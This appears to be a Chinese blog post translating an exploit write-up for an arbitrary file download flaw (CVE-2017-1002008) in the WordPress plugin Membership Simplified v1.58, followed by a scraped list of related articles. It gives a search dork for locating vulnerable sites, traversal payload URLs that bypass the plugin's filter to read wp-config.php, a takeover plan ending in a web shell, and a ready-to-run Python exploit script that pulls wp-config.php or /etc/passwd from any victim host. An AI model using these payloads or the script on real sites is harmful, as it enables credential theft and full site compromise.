今天我们将讨论在WordPress插件WordPress插件与重点会员简化v1.58作为这个剧本的创作时间不打补丁的扶贫开发实践。脆弱脚本如下:

CVE-ID:cve-2017-1002008

当然,也可以利用Google来找

inurl:/wp-content/plugins/membership-simplified-for-oap-members-only

  

问题

下面是上面脚本的一些问题:

①该脚本不检查有效登录WordPress的用户,也不保护自己免受直接访问-这使得它任意(不受限制)的访问

②4行的脚本允许任何人通过download_file参数调用文件下载。任何人都可以直接调用它的脚本。

③第5行是一个坏的企图保护自己从点斜线攻击。

④脚本的其余部分加载强制下载的内容配置

发展有效载荷

所以假设目标example.com运行插件;我们会首先考虑利用它作为:

http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=../../../wp-config.php

 然而,这将导致以下网址。 

http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=wp-config.php

正如你所看到的,这将给我们一个404,因为WP配置文件不在插件文件夹。这是因为第5行。当我们说这是在保护一个坏的企图让我们把字符串替换和修改我们的攻击点。

http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././wp-config.php

  这不是标准,但结果是字符串替换函数会在执行前为我们删除错误的比特。它传递一次之前传递给它下载字符串(感谢上帝为此)。用字符串替换函数删除红色部分时。

之后, 我们基于WordPress标准结构移动3个目录。我们不能强调在WordPress配置文件中包含的信息种类,攻击者可以进一步建模的威胁如下:

①使用配置文件中的数据库连接信息连接到WordPress数据库实例

②更改数据库中的用户密码

③登录到网站并上传一个web外壳,实现网站上的远程代码执行。

一个简单的开发已为此工程如下:

以上我们就了解如何发展这种简单的利用从咨询信息在Web攻击SlideShare–自动化从公告创造现实世界的攻击的文章了。

最后附上我们exp利用的脚本

import requests
import string
import random
from urlparse import urlparse
 
print "---------------------------------------------------------------------"
print "Wordpress Plugin Membership Simplified v1.58 - Arbitrary File Download\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nWebsite: https://www.alien-within.com\nCVE-2017-1002008\nCWE: 23\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=187"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
file_choice=raw_input ("\n Please choose a number representing the file to attack: \n1. Wordpress Config \n2. Linux Passwd File\n")
if file_choice == "1":
    payload="..././..././..././wp-config.php"
elif file_choice == "2":
    payload="..././..././..././..././..././..././..././..././etc/passwd"
else:
    print "Invalid Download choice, Please choose 1 or 2; Alternatively you can re-code me toI will now exit"
    quit()  
slug = "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file="+payload
target=victim+slug
def randomizeFile(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
     
def checkPlugin():
    pluginExists = requests.get(victim+"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php")
    pluginExistence = pluginExists.status_code
    if pluginExistence == 200:
        print "\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."
        exploit()
    else:
        print "Target has a funny code & might not be vulnerable, I will now exit\n"
        quit()
      
def exploit():
     
    getThatFile = requests.get(target)
    fileState = getThatFile.status_code
    breakApart=urlparse(victim)
    extract_hostname=breakApart.netloc  
    randomDifferentiator=randomizeFile()
    cleanName=str(randomDifferentiator)
    if fileState == 200:
    respFromThatFile = getThatFile.text
    if file_choice == "1":
        resultFile=extract_hostname+"_config_"+cleanName+".txt"
        print resultFile
        pwned=open(resultFile, 'w')
        pwned.write(respFromThatFile)
        pwned.close
        print "Wordpress Config Written to "+resultFile
    else:
        resultFile=extract_hostname+"_passwd"+cleanName+".txt"
        pwned=open(resultFile, 'w')
        pwned.write(respFromThatFile)
        pwned.close
        print "Passwd File Written to "+resultFile
    else: 
    print "I am not saying it was me but it was me! Something went wrong when I tried to get the file. The server responded with: \n" +fileState
   
if __name__ == "__main__":
    checkPlugin()

参考来源https://www.alien-within.com/wordpress-plugin-membership-simplified-v1-58-arbitrary-file-download

翻译:admin-神风

WordPress插件会员简化1.58 -任意文件下载漏洞(附poc)的更多相关文章

  1. PHP代码审计笔记--任意文件下载漏洞

    在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...

  2. 【代码审计】XYHCMS V3.5任意文件下载漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  3. 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析

      0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4  更新时间:2017-09-13 程序源码下载:http://www ...

  4. 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析

      0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...

  5. 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  6. 代码审计-(Ear Music).任意文件下载漏洞

    0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...

  7. 任意文件下载漏洞的接口URL构造分析与讨论

    文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...

  8. dzzoffice 任意文件下载漏洞分析

    dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始:    elseif($_GET['do']=='move'){    $obz=trim($_ ...

  9. 代码审计-phpcms9.6.2任意文件下载漏洞

    漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...

随机推荐

  1. HDU 1999 不可摸数 (模拟)

    题目链接 Problem Description s(n)是正整数n的真因子之和,即小于n且整除n的因子和.例如s(12)=1+2+3+4+6=16.如果任何数m,s(m)都不等于n,则称n为不可摸数 ...

  2. 原 jQuery中document的ready和load事件的区别?

    概述: 大家在工作中用jQuery的时候一定会在使用之前这样:   1 2 3 4 5 6 7 8 //document ready $(document).ready(function(){     ...

  3. 超级ping(多线程版)

    发现学校公共wifi的ip段是10.1.0-255.0-255段的,还是之前的思路批量ping一波. 其实可以使用nmap的.但是脚本写都写了.是吧.你懂的. #!/usr/bin/env pytho ...

  4. vsftpd限速设置

    利用vsftp进行速率限制,需要了解几个配置参数 anon_max_rate 设置匿名用户每条连接最大上传或下载速率 local_max_rate 设置本地用户每条连接最大上传或下载速率 max_pe ...

  5. sicily 1259. Sum of Consecutive Primes

    Description Some positive integers can be represented by a sum of one or more consecutive prime numb ...

  6. acm专题---动态规划

    题目来源:http://hihocoder.com/problemset/problem/1400?sid=983096 #1400 : Composition 时间限制:10000ms 单点时限:1 ...

  7. PHP解决并发问题的几种实现

    对于商品抢购等并发场景下,可能会出现超卖的现象,这时就需要解决并发所带来的这些问题了 在PHP语言中并没有原生的提供并发的解决方案,因此就需要借助其他方式来实现并发控制. 方案一:使用文件锁排它锁 f ...

  8. 1.第一个hello word

    1.生产者 #!/usr/bin/env python import pika connection = pika.BlockingConnection(pika.ConnectionParamete ...

  9. linux crontab 常用时间设置

    时间格式 分钟 小时 日期 月份 周 命令 数字范围 0-59 0-23 1-31 1-12 0-7 echo "hello" >> abc.log 特殊字符的含义 * ...

  10. Java学习(API及Object类、String类、StringBuffer字符串缓冲区)

    一.JAVA的API及Object类 1.API 概念: Java 的API(API: Application(应用) Programming(程序) Interface(接口)) Java API就 ...